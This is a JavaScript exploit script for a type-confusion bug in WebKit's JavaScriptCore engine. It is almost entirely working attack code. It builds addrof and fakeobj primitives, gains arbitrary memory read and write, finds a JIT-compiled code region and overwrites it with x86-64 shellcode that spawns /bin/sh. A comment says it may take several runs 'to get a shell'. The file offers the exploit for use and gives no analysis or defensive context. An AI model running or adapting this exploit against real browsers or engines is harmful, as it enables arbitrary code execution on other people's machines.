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webkit_ex.js
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// The exploit code is not stable. Maybe you have to run this code several time to get a shell.
///////////////////////POC/////////////////////////
function gc() {
for (let i = 0; i < 10; i++) {
let ab = new ArrayBuffer(1024 * 1024 * 10);
}
}
var buf = new ArrayBuffer(8);
var double_arr = new Float64Array(buf);
var int32_arr = new Uint32Array(buf);
function opt(obj) {
// Starting the optimization.
for (let i = 0; i < 500; i++) {
}
let tmp = {a: 1};
gc();
tmp.__proto__ = {};
for (let k in tmp) { // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
tmp.__proto__ = {};
gc();
obj.__proto__ = {}; // The structure ID of "obj" equals to tmp's.
return obj[k]; // Type confusion.
}
}
opt({});
let fake_object_memory = new Uint32Array(100);
fake_object_memory[0] = 0x4c;
fake_object_memory[1] = 0x1001600;
let fake_object = opt(fake_object_memory);
for (i = 0; i < 0x1000; i ++) {
fake_object.a = {test : 1};
fake_object.b = {test : 1};
}
/////////////////////// addrof, fakeobj //////////////////////
function addrof(obj) {
fake_object.a = obj;
int32_arr[0] = fake_object_memory[4];
int32_arr[1] = fake_object_memory[5];
return double_arr[0];
}
function fakeobj(addr) {
double_arr[0] = addr;
fake_object_memory[4] = int32_arr[0];
fake_object_memory[5] = int32_arr[1];
return fake_object.a;
}
///////////////////////////// exploit /////////////////////////////
function Add(a, b) {
double_arr[0] = a;
int32_arr[0] += b;
return double_arr[0];
}
var container_addr = Add(addrof(fake_object), 0x40);
fake_object_memory[16] = 0x1000;
fake_object_memory[17] = 0x01082107;
var struct = [];
for (i = 0; i < 0x1000; i++) {
arr = [13.37];
arr.pointer = 13.37;
arr["prop"+i] = 13.37;
struct.push(arr);
}
var victim = struct[0x800];
double_arr[0] = addrof(victim);
fake_object_memory[18] = int32_arr[0];
fake_object_memory[19] = int32_arr[1];
double_arr[0] = container_addr;
fake_object_memory[6] = int32_arr[0];
fake_object_memory[7] = int32_arr[1];
var hax = fake_object.b;
var original_butterfly = hax[1];
/* Just ignore it. I didn't use this function. */
function write64(addr, value) {
double_arr[0] = addr;
int32_arr[0] += 0x10;
hax[1] = double_arr[0];
victim.pointer = value;
}
function read64(addr) {
double_arr[0] = addr;
int32_arr[0] += 0x10;
hax[1] = double_arr[0];
return addrof(victim.pointer);
}
var shellcode_buf = new ArrayBuffer(82);
var uint8_shellcode = new Uint8Array(shellcode_buf);
var uint16_shellcode = new Uint16Array(shellcode_buf);
var shellcode = [0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05];
for (i = 0; i < 82; i++) {
uint8_shellcode[i] = shellcode[i];
}
/*
* Make func and trigger the JIT compile.
* We can make rwx memory region.
* This region will be overwritten by shellcode.
*/
function func() {
arr = [];
for (i = 0; i < 0x1000; i++) {
a = {};
a["prop"+i] = 10;
arr.push(a);
}
print("I'm func");
}
func();
var funcAddr = addrof(func);
print(describe(func));
print(funcAddr);
var executableAddr = read64(Add(funcAddr, 24));
var jitCodeObjAddr = read64(Add(executableAddr, 24));
var jitCodeAddr2 = read64(Add(jitCodeObjAddr, 24));
var jitCodeAddr = read64(Add(jitCodeAddr2, 40));
/*
* Copy the shellcode into rwx region.
* each time, 2 bytes of shellcode are copied.
*/
for (i = 0; i < 41; i++) {
hax[1] = Add(jitCodeAddr, 0x10 + 2*i);
victim.pointer = uint16_shellcode[i];
}
/* trigger the shellcode */
func();